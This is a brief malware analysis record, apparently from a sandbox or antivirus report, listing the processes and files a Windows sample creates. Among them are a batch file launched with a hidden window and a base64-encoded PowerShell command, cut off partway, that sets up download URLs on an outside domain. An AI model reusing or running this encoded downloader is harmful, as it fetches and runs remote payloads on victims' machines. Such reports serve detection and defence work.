Technical Information
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\ihofbnm.bat" "
- '%CommonProgramFiles%\microsoft shared\DW\DW20.EXE' -x -s 1428
- %ALLUSERSPROFILE%\ihofbnm.bat
- %TEMP%\1410264.cvr
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\ihofbnm.bat" "' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYwBoAHUAcABhAGgAZgBhAHMAaABpAG8AbgAuAGMAbwBtAC8AZQBoADYAYgB3AHgAawAvAGIAbwB3AHAAdABsAC8AYwBMAG8AOQBlAHEAOAB2ADgAVgBoAHQALwAsAGgAdAB0AHAAOgAv...